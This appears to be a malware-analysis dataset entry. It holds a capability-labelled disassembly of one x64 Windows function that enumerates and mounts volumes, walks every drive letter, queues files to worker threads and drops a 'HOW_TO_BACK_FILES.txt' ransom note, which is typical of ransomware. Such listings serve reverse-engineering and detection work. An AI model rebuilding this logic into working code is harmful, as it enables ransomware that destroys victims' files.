Function at 0x140006804
Capabilities:
Create thread
Enumerate disk volumes
Get disk information
Get disk size
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe60]
sub rsp, 0xf60
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0xe50], rax
mov r15, r9
mov byte [rsp + 0x30], r8b
mov r14b, r8b
mov qword [rsp + 0x68], rcx
mov r13, rdx
mov rdi, rcx
mov ebx, 0xa
xor r8d, r8d
mov r9d, ebx
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r12d, r12d
mov qword [0x14005bb78], rax
test rax, rax
je 0x140007384
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], ebx
call fcn.14001b890
mov dword [rsp + 0x34], eax
xorps xmm0, xmm0
mov qword [rbp - 0x10], r12
lea ebx, [r12 + 1]
movdqu xmmword [rbp - 0x20], xmm0
test eax, eax
je 0x1400068f2
mov ebx, eax
mov qword [rsp + 0x28], r12
lea r8, [0x140005e94]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x60], rax
cmp rdx, qword [rbp - 0x10]
je 0x1400068d9
mov qword [rdx], rax
add qword [rbp - 0x18], 8
jmp 0x1400068e7
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.14000ab44
sub rbx, 1
jne 0x1400068a2
mov ebx, 1
lea rax, [0x140005b5c]
mov qword [rsp + 0x28], r12
lea r9, [rbp - 0x48]
mov qword [rbp - 0x40], rax
lea r8, [fcn.1400066c8]
mov qword [rbp - 0x48], rdi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov word [rbp + 0x230], r12w
mov r8d, 0x206
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x232]
call fcn.14001f2b0
mov edx, 0x104
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rsi, rax
mov edi, 0x5a
or rax, 0xffffffffffffffff
cmp rsi, rax
je 0x140006a6e
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x208
call fcn.14001f2b0
lea r9, [rbp - 0x38]
mov dword [rbp - 0x38], r12d
mov r8d, 0x104
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [rbp - 0x38], ebx
jne 0x1400069dd
lea ebx, [rdi - 0x17]
lea rdx, [rbp + 0x230]
mov word [rbp + 0x200], bx
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x202], 0x5c003a
mov word [rbp + 0x206], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x1400069dd
inc ebx
cmp ebx, edi
jle 0x1400069a6
mov r14d, 1
mov r8d, 0x104
lea rdx, [rbp + 0x230]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea r9, [rbp - 0x38]
mov r8d, 0x104
lea rdx, [rbp + 0x440]
mov edi, eax
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x140006a61
cmp dword [rbp - 0x38], r14d
jne 0x140006a61
mov ebx, 0x43
lea rdx, [rbp + 0x230]
mov word [rbp + 0x208], bx
lea rcx, [rbp + 0x208]
mov dword [rbp + 0x20a], 0x5c003a
mov word [rbp + 0x20e], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006a61
add ebx, r14d
cmp ebx, 0x5a
jle 0x140006a28
test edi, edi
jne 0x1400069e3
mov r14b, byte [rsp + 0x30]
mov r12d, 0x41
movzx ebx, r12w
lea esi, [r12 - 0x40]
movzx edi, bx
lea r8, [0x1400506e8]
mov r9d, edi
lea rcx, [rbp + 0x210]
mov edx, 0xa
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006bb3
xor esi, esi
lea r8, [0x1400506f8]
mov r9d, edi
mov qword [rbp - 0x58], rsi
lea rcx, [rbp + 0x210]
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea edx, [rsi + 0xa]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rdi, qword [0x14005bc40]
mov rax, qword [rbp - 0x30]
mov rcx, rdi
sub rax, qword [rbp - 0x28]
mov qword [rbp - 0x68], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x38], rax
mov qword [rbp - 0x60], rsi
mov dword [rsp + 0x40], esi
jmp 0x140006b42
mov qword [rsp + 0x38], rax
cmp word [rax + 0x20], bx
jae 0x140006b34
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x40], esi
jmp 0x140006b42
mov rcx, rax
mov dword [rsp + 0x40], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
je 0x140006b1f
cmp byte [rcx + 0x19], sil
jne 0x140006b54
cmp bx, word [rcx + 0x20]
jae 0x140006bae
movabs rax, 0x492492492492492
cmp qword [0x14005bc48], rax
je 0x1400073b4
mov ecx, 0x38
call fcn.14001c6ec
movups xmm0, xmmword [rbp - 0x68]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [0x14005bc40]
movdqu xmmword [rax + 0x28], xmm0
mov word [rax + 0x20], bx
movups xmm0, xmmword [rsp + 0x38]
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
movdqu xmmword [rbp - 0x80], xmm0
mov word [rax + 0x18], si
call fcn.14000b090
mov esi, 1
add bx, si
mov eax, 0x5a
cmp bx, ax
jbe 0x140006a7d
mov rbx, qword [r15]
mov rdi, qword [r15 + 8]
cmp rbx, rdi
je 0x140006d5e
lea r14d, [rax - 0x29]
lea r13d, [rax - 0x59]
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006be9
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
mov r8d, r13d
call fcn.140006114
add rbx, 0x20
cmp rbx, rdi
jne 0x140006bdc
mov r12, qword [r15 + 8]
mov rbx, qword [r15]
jmp 0x140006d4d
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006c19
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
bt eax, 4
jae 0x140006c45
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006c32
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
xor r8d, r8d
call fcn.140006114
jmp 0x140006d49
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140006c52
mov rsi, qword [rbx]
mov rcx, rsi
call fcn.140005948
mov ecx, 0x30
movzx r15d, ax
call fcn.140023634
mov rdi, rax
test rax, rax
je 0x140006d49
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], r15w
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140023634
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140006cc6
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14005bb78]
mov r9, rdi
xor r8d, r8d
mov dword [rdi + 0x2c], r13d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140006d33
lock add dword [0x14005bb70], r13d
lock add dword [0x14005bbec], r13d
mov ecx, 0x2000
call fcn.140023634
mov rdi, rax
test rax, rax
je 0x140006d49
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, rsi
lea r8, str._s__s
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call fcn.140005d38
jmp 0x140006d41
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140006d41
call fcn.140023620
mov rcx, rdi
call fcn.140023620
add rbx, 0x20
cmp rbx, r12
jne 0x140006c0c
xor r15d, r15d
jmp 0x140006fd5
xor r15d, r15d
test r13, r13
je 0x140006dee
mov ebx, 0x400
lea rcx, [rbp + 0x650]
mov edx, ebx
mov r8, r13
call fcn.140026fb8
test rax, rax
je 0x140006de6
lea r14d, [r15 + 0x31]
lea rcx, [rbp + 0x650]
call fcn.140005978
lea rcx, [rbp + 0x650]
call fcn.140005948
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
mov r8d, esi
call fcn.140006114
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
xor r8d, r8d
call fcn.140006114
mov r8, r13
lea rcx, [rbp + 0x650]
mov edx, ebx
call fcn.140026fb8
test rax, rax
jne 0x140006d89
mov r14b, byte [rsp + 0x30]
mov rcx, r13
call fcn.140026600
test r14b, r14b
jne 0x140006fcf
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
movzx ebx, r12w
mov eax, 0x5a
lea r13d, [rax - 0x59]
test r13b, r14b
je 0x140006ea9
mov ecx, 0x18
call fcn.140023634
mov rdi, rax
test rax, rax
je 0x140006ea4
movzx r15d, bx
lea r8, [0x1400506e8]
mov r9d, r15d
mov dword [rax + 0x14], r13d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006ea1
mov r9d, r15d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
xor r15d, r15d
lea r8, [0x14000653c]
mov qword [rsp + 0x28], r15
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
add esi, r13d
mov qword [rbp + rcx*8 + 0x60], rax
jmp 0x140006ea4
xor r15d, r15d
mov eax, 0x5a
add bx, r13w
shr r14d, 1
cmp bx, ax
jbe 0x140006e10
or r9d, 0xffffffff
lea rdx, [rbp + 0x60]
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x140006ee8
lea rbx, [rbp + 0x60]
mov edi, esi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x140006ed6
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov eax, 0x5a
test r13b, sil
je 0x140006f8a
mov ecx, 0x18
call fcn.140023634
mov rbx, rax
test rax, rax
je 0x140006f85
movzx r14d, r12w
lea r8, [0x1400506e8]
mov r9d, r14d
mov dword [rax + 0x14], r15d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006f85
mov r9d, r14d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r15
lea r8, [0x14000653c]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + rdi*8 + 0x130], rax
add edi, r13d
mov eax, 0x5a
add r12w, r13w
shr esi, 1
cmp r12w, ax
jbe 0x140006ef8
or r9d, 0xffffffff
lea rdx, [rbp + 0x130]
mov r8d, r13d
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test edi, edi
je 0x140006fd5
lea rbx, [rbp + 0x130]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x140006fbb
jmp 0x140006fd5
mov r13d, 1
mov rbx, qword [0x14005ca40]
xorps xmm0, xmm0
sub rbx, qword [0x14005ca38]
sar rbx, 5
mov qword [rbp + 8], r15
mov qword [rsp + 0x48], r15
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rsp + 0x38], xmm0
test rbx, rbx
je 0x1400070a1
movabs rax, 0x7ffffffffffffff
cmp rbx, rax
ja 0x1400073ba
shl rbx, 5
mov r12d, 0x1000
cmp rbx, r12
jb 0x140007036
mov rcx, rbx
call fcn.140004bc8
mov rdi, rax
jmp 0x140007048
test rbx, rbx
je 0x140007045
mov rcx, rbx
call fcn.14001c6ec
jmp 0x140007031
mov rdi, r15
mov rsi, qword [0x14005ca40]
lea rax, [rbx + rdi]
mov rbx, qword [0x14005ca38]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rdi
jmp 0x140007095
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
cmp qword [rbx + 0x18], 8
jb 0x140007081
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.14000b36c
add rdi, 0x20
add rbx, 0x20
cmp rbx, rsi
jne 0x140007066
mov qword [rsp + 0x40], rdi
jmp 0x1400070a7
mov r12d, 0x1000
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x38]
call fcn.14000c130
xor edx, edx
lea rcx, [rbp + 0x10]
lea r8d, [rdx + 0x48]
call fcn.14001f2b0
lea rcx, [rbp + 0x10]
call fcn.14000b474
mov r14, qword [rbp]
mov rdi, qword [rbp - 8]
cmp rdi, r14
je 0x14000710d
mov r15d, dword [rdi]
mov rsi, qword [rbp + 0x48]
mov rbx, qword [rbp + 0x40]
jmp 0x1400070fc
cmp dword [rbx], r15d
jne 0x1400070f8
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.14000b744
add rbx, 0x28
cmp rbx, rsi
jne 0x1400070e7
add rdi, 4
cmp rdi, r14
jne 0x1400070da
xor r15d, r15d
lea rcx, [rbp + 0x40]
call fcn.1400094e4
lea rcx, [rbp + 0x10]
call fcn.14000d014
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005ca38]
mov r14, qword [0x14005ca40]
jmp 0x140007206
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140007157
mov rsi, qword [rbx]
mov ecx, 0x30
call fcn.140023634
mov rdi, rax
test rax, rax
je 0x14000721c
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call fcn.140005948
mov rcx, rsi
mov word [rdi + 0x28], ax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140023634
mov qword [rdi + 0x20], rax
test rax, rax
je 0x1400071f1
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14005bb78]
mov r9, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x1400071f1
lock add dword [0x14005bb70], r13d
lock add dword [0x14005bbec], r13d
jmp 0x140007202
mov rcx, qword [rdi + 0x20]
call fcn.140023620
mov rcx, rdi
call fcn.140023620
add rbx, 0x20
cmp rbx, r14
jne 0x14000714a
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [0x14005ca38]
mov rdi, qword [0x14005ca40]
cmp rbx, rdi
je 0x14000725b
mov rcx, rbx
call fcn.140004864
add rbx, 0x20
cmp rbx, rdi
jne 0x14000722f
mov rax, qword [0x14005ca38]
mov qword [0x14005ca40], rax
jmp 0x14000725b
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x14005bb74]
mov eax, dword [0x14005bbec]
cmp eax, ecx
jg 0x140007250
lea rax, [0x14000657c]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x58], rax
call fcn.1400066c8
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x1400072a7
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x34]
mov ebx, esi
test esi, esi
je 0x1400072ce
mov edi, esi
mov rcx, qword [0x14005bb78]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rdi, r13
jne 0x1400072b3
mov rdx, qword [rbp - 0x20]
or r9d, 0xffffffff
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x1400072ff
mov rdi, r15
mov rcx, qword [rbp - 0x20]
mov rcx, qword [rdi + rcx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [rdi + 8]
sub rbx, r13
jne 0x1400072e8
mov rcx, qword [0x14005bb78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x14000734e
mov rdx, qword [rbp + 8]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, r12
jb 0x14000733d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400073ae
call fcn.14001c730
xorps xmm0, xmm0
mov qword [rbp + 8], r15
movdqu xmmword [rbp - 8], xmm0
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140007384
mov rdx, qword [rbp - 0x10]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, r12
jb 0x14000737f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400073ae
call fcn.14001c730
mov rcx, qword [rbp + 0xe50]
xor rcx, rsp
call fcn.14001c430
mov rbx, qword [rsp + 0xfb0]
add rsp, 0xf60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140026340
int3
call fcn.140004c10
int3
call fcn.14000a7a0
int3